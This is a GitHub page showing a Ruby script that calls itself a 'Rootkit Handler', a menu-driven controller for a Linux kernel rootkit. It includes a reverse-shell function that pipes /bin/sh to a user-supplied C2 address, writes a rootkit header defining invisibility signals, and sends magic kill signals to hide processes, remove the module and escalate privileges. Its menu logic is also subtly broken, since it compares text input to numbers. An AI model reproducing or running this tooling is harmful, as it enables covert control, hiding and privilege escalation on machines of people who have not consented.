-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRuby.rb
107 lines (87 loc) · 1.93 KB
/
Ruby.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
system 'clear'
require 'colorize'
require 'socket'
puts <<-eos
_______
/\ o o o\
/o \ o o o\_______
< >------> o /|
\ o/ o /_____/o|
\/______/ |oo|
| o |o/
|_______|/ I used to roll the dice..
made by arthur & rodrigo
Ruby
Rootkit Handler\n
1 - Install Ruby (Rootkit)
2 - Uninstall Ruby (Rootkit)
3 - Hide File
4 - Hide Process
5 - Privilege Escalation
6 - Reverse Shell (Ring3)
eos
def reverseShell(ip, port)
spawn("/bin/sh",[:in,:out,:err]=>TCPSocket.new("#{ip}","#{port}"))
end
def writeLibrary(_rkname)
rubyHeader = <<-eos
#define RTHXR "rthxr"
#define PF_INVISIBLE 0x10000000
#define MODULE_NAME "#{_rkname}"
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
enum {
SIGINVIS = 9,
SIGSUPER = 2,
SIGMODINVIS = 6,
};
eos
file = File.write("library/Ruby.h", rubyHeader)
puts 'Done!'.bold
end
print 'Driver (Rootkit) Name: '
rkname = gets.chomp.to_s
print '\nRuby > '.bold
ruby = gets.chomp.to_s
if ruby == 1
writeLibrary(rkname)
elsif ruby == 2
begin
system 'kill -6 0'
system "rmmod #{rkname}"
rescue Exception => e
puts "Error during Ruby (Rootkit) removal.. Err: " + e.message
end
elsif ruby == 3
print 'Directory/File Name: '
flName = gets.chomp.to_s
system "mv #{flName} rthxr#{flName}"
elsif ruby == 4
begin
print "Process \"PID\" ID: "
pid = gets.chomp.to_s
system "kill -9 #{pid}"
rescue Exception => e
puts "Error during Ruby (Rootkit) execution.. Err: " + e.message
end
elsif ruby == 5
begin
system "kill -2 0"
rescue Exception => e
puts "Error during Ruby (Rootkit) execution.. Err: " + e.message
end
elsif ruby == 6
begin
print 'Local (C2) Address: '
laddr = gets.chomp.to_s
print 'Local (C2) Port: '
lport = gets.chomp.to_s
reverseShell(laddr, lport)
rescue Exception => e
puts 'Error during Ruby (Rootkit) execution.. Err: ' + e.message
end
end